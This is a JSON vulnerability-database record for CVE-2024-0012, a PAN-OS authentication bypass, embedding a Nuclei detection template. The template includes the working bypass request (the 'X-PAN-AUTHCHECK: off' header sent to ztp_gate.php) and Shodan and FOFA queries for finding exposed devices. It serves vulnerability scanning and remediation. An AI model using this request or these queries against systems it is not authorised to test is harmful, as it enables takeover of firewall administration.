{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-0012/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-0012/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-0012/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-0012/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-0012/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-0012"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-0012"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-0012.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2024-0012\n\ninfo:\n  name: PAN-OS Management Web Interface - Authentication Bypass\n  author: johnk3r,watchtowr\n  severity: critical\n  description: |\n    An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities\n  impact: |\n    Unauthenticated attackers with network access to the management interface can bypass authentication to gain full administrator privileges, allowing them to tamper with configurations, exploit additional vulnerabilities, and completely compromise the Palo Alto firewall and connected networks.\n  remediation: |\n    Upgrade to the latest patched version of PAN-OS as specified in the vendor security advisory.\n  reference:\n    - https://security.paloaltonetworks.com/CVE-2024-0012\n    - https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-0012\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-0012\n    cwe-id: CWE-306\n    epss-score: 0.99718\n    epss-percentile: 0.99952\n    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: paloaltonetworks\n    product: pan-os\n    fofa-query: icon_hash=\"-631559155\"\n    shodan-query:\n      - cpe:\"cpe:2.3:o:paloaltonetworks:pan-os\"\n      - http.favicon.hash:\"-631559155\"\n  tags: cve,cve2024,paloalto,globalprotect,kev,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /php/ztp_gate.php/.js.map HTTP/1.1\n        Host: {{Hostname}}\n        X-PAN-AUTHCHECK: off\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(body, \"<title>Zero Touch Provisioning\", \"Zero Touch Provisioning (ZTP)\")'\n          - 'contains(body, \"/scripts/cache/mainui.javascript\")'\n          - 'contains(header, \"PHPSESSID=\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a00473045022100ef514e9cd7a3b2f920b6c1acdc7b034c77e92440ce5d2460b1f7e0e285569225022070e53fee801a65cf45354680253d7e4148923a1f3665bc8718152144eadedd15:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-0012"
}